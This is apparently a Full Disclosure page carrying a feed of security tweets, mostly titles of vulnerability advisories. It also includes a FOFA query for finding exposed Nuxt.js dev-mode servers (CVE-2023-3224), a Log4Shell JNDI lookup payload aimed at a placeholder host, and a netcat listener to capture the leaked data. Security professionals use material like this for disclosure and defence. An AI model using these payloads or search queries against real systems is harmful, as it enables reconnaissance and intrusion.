Full Disclosure

A lightly moderated high-traffic forum for disclosure of security information.

[FOFA @fofabot]

#CVE-2023-3224 Nuxt.js RCE in Dev Mode⚠️

FOFA Query: body="buildAssetsDir" && body="__nuxt"

Link: https://t.co/NG6bnW0hPZ

Refer: https://t.co/41105t0FMO

#threatintelligence #OSINT #FOFA #CyberSecurity #nuxt #infosec

[Sergey Bobrov @Black2Fan]

If you need log4j PoC for Information disclosure

${jndi:ldap://host:1389/${java:version}}

echo -e '0\x0c\x02\x01\x01a\x07\x0a\x01\x00\x04\x00\x04\00' | nc -vv -l -p 1389 | xxd

[VulnersCom @VulnersCom]

Just. Check. It. Out. Vulners NSE plugin is finally part of the official NMAP!
Hooray, fellows. And thanks to the NMAP team!

Scan, share, enjoy!

https://t.co/b3goceGzxm

[Full Disclosure @SecLists]

It's useless. But it's fun. Android web vulnerability scanner app by Vulners.

https://t.co/wymRE4QmUh

[Bo0oM @i_bo0om]

https://t.co/j58LyK21n8
Exploits & Tools Search Engine

[Full Disclosure @SecLists]

Emerson Network Power Cross Site Scripting(XSS) Vulnerability https://t.co/NCJruyU8Kt #FullDisclosure

[Full Disclosure @SecLists]

Blackhole for Bad Bots WordPress Plugin 2.5 - Detection Bypass https://t.co/HsBcCe6aYW #FullDisclosure

[Full Disclosure @SecLists]

Epic Web Honeypot 2.0a - Fingerprinting Vulnerability https://t.co/R8o35uSIFz #FullDisclosure

[Full Disclosure @SecLists]

Re: GAT-Ship Web Module >1.30 - Unauthenticated Information Disclosure… https://t.co/OXa3RUmjRZ #FullDisclosure

[Full Disclosure @SecLists]

local privilege escalation via CDE dtprintinfo https://t.co/3i6Iht0wuo #FullDisclosure

[Full Disclosure @SecLists]

[CVE-2019-11880] CommSy <= 8.6.5 - SQL injection https://t.co/ThKAaW6NxD #FullDisclosure

[Full Disclosure @SecLists]

GAT-Ship Web Module >1.30 - Unauthenticated Information Disclosure… https://t.co/UNCYX16o7S #FullDisclosure

[Full Disclosure @SecLists]

[RT-SA-2019-002] Directory Traversal in Cisco Expressway Gateway https://t.co/d1TbySKbFy #FullDisclosure

[Full Disclosure @SecLists]

SEC Consult SA-20190515-0 :: Authorization Bypass in RSA NetWitness (@sec… https://t.co/45NDm5nfDz #FullDisclosure

[Full Disclosure @SecLists]

[CVE-2018-7841] Schneider Electric U.Motion Builder <= 1.3.4 track_import… https://t.co/fev6UazIpT #FullDisclosure

[Full Disclosure @SecLists]

Re: System Down: A systemd-journald exploit https://t.co/TBpDYekk7c #FullDisclosure

[Full Disclosure @SecLists]

APPLE-SA-2019-5-13-3 tvOS 12.3 https://t.co/qUiMKhHaSc #FullDisclosure

[Full Disclosure @SecLists]

APPLE-SA-2019-5-13-2 macOS Mojave 10.14.5, Security Update 2019-003 High… https://t.co/Jvxy6JD6bF #FullDisclosure

[Full Disclosure @SecLists]

APPLE-SA-2019-5-13-1 iOS 12.3 https://t.co/sFZJlHiB4A #FullDisclosure

[Full Disclosure @SecLists]

[CVE-2019-8978] Improper Authentication (CWE-287) in Ellucian Banner Web… https://t.co/ZlnhorYhFi #FullDisclosure